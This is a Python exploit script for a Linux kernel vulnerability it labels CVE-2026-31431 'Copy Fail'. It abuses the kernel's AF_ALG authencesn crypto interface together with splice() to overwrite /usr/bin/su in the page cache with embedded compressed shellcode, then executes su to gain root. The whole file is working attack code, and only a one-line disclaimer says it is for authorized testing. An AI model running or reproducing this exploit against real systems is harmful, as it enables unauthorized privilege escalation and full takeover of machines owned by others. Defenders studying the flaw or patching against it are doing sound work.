#!/usr/bin/env python3 """ CVE-2026-31431 "Copy Fail" Exploit Python 3.9+ compatible (includes splice() syscall wrapper) This exploit targets a Linux kernel vulnerability in the authencesn AEAD cryptographic implementation that allows arbitrary writes to the page cache. For authorized security testing only. """ import os import zlib import socket import ctypes import ctypes.util # Python 3.9 doesn't have os.splice(), so we implement it via ctypes # This makes the exploit portable across Python versions # Load libc libc = ctypes.CDLL(ctypes.util.find_library('c')) # Define off64_t type (loff_t in kernel) class off64_t(ctypes.c_int64): pass # Configure splice() syscall signature # ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, # size_t len, unsigned int flags) libc.splice.argtypes = [ ctypes.c_int, ctypes.POINTER(off64_t), ctypes.c_int, ctypes.POINTER(off64_t), ctypes.c_size_t, ctypes.c_uint ] libc.splice.restype = ctypes.c_ssize_t def splice(src, dst, count, offset_src=None, offset_dst=None): """ Wrapper for splice() syscall matching Python os.splice() API Compatible with Python 3.9+ (which lacks os.splice()) Args: src: Source file descriptor dst: Destination file descriptor count: Number of bytes to splice offset_src: Offset in source (None = current position) offset_dst: Offset in destination (None = current position) """ p_off_src = ctypes.pointer(off64_t(offset_src)) if offset_src is not None else None p_off_dst = ctypes.pointer(off64_t(offset_dst)) if offset_dst is not None else None result = libc.splice(src, p_off_src, dst, p_off_dst, count, 0) if result < 0: raise OSError(f"splice() failed with return code {result}") return result def d(x): """Decode hex string""" return bytes.fromhex(x) def c(f, t, payload): """ Core exploitation function f: target file descriptor t: offset in target file payload: 4 bytes to write at offset """ # Create AF_ALG socket a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) h = 279 # SOL_ALG v = a.setsockopt # Set AEAD key v(h, 1, d('0800010000000010' + '0'*64)) # ALG_SET_KEY # Set AEAD authsize v(h, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE # Accept operation socket u, _ = a.accept() o = t + 4 # Offset calculation i = d('00') # Zero byte # Send message with ancillary data (triggers vulnerability) u.sendmsg( [b"A"*4 + payload], [ (h, 3, i*4), # ALG_SET_IV (h, 2, b'\x10' + i*19), # ALG_SET_OP (h, 4, b'\x08' + i*3), # ALG_SET_AEAD_ASSOCLEN ], 32768 ) # Create pipe for splice r, w = os.pipe() # Splice file into pipe, then pipe into socket # This is where the page cache manipulation happens splice(f, w, o, offset_src=0) splice(r, u.fileno(), o) # Trigger processing try: u.recv(8 + t) except: pass u.close() a.close() # Main exploit print("[*] CVE-2026-31431 Copy Fail Exploit") print("[*] Target: /usr/bin/su") print() # Open target file f = os.open("/usr/bin/su", os.O_RDONLY) print(f"[+] Opened /usr/bin/su (fd={f})") # Decompress shellcode i = 0 e = zlib.decompress(d( "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" )) print(f"[+] Shellcode size: {len(e)} bytes") print("[+] Patching /usr/bin/su in page cache...") # Write shellcode 4 bytes at a time while i < len(e): c(f, i, e[i:i+4]) i += 4 if i % 16 == 0: print(f" Written {i}/{len(e)} bytes...") print("[+] Page cache patching complete!") print("[+] Executing modified su...") print() # Execute patched su - should give root os.system("su")